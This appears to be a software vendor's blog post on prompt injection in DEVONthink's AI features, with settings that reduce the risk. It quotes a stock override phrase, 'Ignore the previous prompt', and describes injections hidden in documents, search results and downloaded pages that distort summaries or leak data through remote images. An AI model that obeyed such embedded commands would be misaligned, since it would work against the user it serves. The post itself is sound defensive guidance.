How to Protect Against Prompt Injections

AI inside DEVONthink can be a powerful tool. But when it comes to AI, some users have security concerns, such as possible prompt injections. So, what exactly are they, and are they a risk in DEVONthink?

A prompt injection happens when text hidden inside a document is crafted to circumvent AI with its own commands, like one that says, “Ignore the previous prompt and do this instead…” The danger isn’t limited to triggering unwanted commands — injections can also silently distort AI responses such as summaries or evaluations. In addition, injections can occur not only in your own documents but also in web search results and downloaded pages, which is why searches and downloads should be restricted and only enabled when needed.

This isn’t a DEVONthink problem specifically but an issue for any document processing AI system. This is why AI models are increasingly designed to be more resistant to these attacks, and the best precaution is to be mindful about what you add to your database. While in a well-curated personal database the practical risk is low, there are features in DEVONthink to limit or thwart these injections:

• AI responses are automatically stripped of unexpected or potentially dangerous HTML content (such as scripts or frames) that could result from prompt injections.
• Even if you allow downloads, the Chat assistant, Chat smart actions, and AppleScript commands automatically disable downloading web pages while processing a document. The Chat assistant also disables downloads after accessing the content, annotations, or comments of a document.

You can also limit what the AI is allowed to access, both inside and outside your databases. However, keep in mind that stricter limits may reduce the AI’s ability to assist you:

• Enabling Search > Sources: Web in the settings or Search: Web in the Chat’s Options is often unnecessary and increases exposure to prompt injections via search results or downloaded pages. Enable it only as needed.
• If you do enable web searching, consider also disabling the AI > Chat > Assistant: Allow download of web pages and Load remote images automatically options. Disabling remote images also prevents prompt injections from silently transferring data to remote servers.
• You could disable AI > Search: Database and also AI > Chat > Assistant: Allow property & content changes. You can temporarily enable database searching in the Chat assistant as needed.
• When using the Chat assistant or Chat-related smart actions, e.g., Chat - Query, set the Documents popup to Without Document, unless you are specifically dealing with documents.

We don’t intend to cause undue concern, but to help you make better-informed choices in how you use AI.

💬 Discuss this post in our user forum.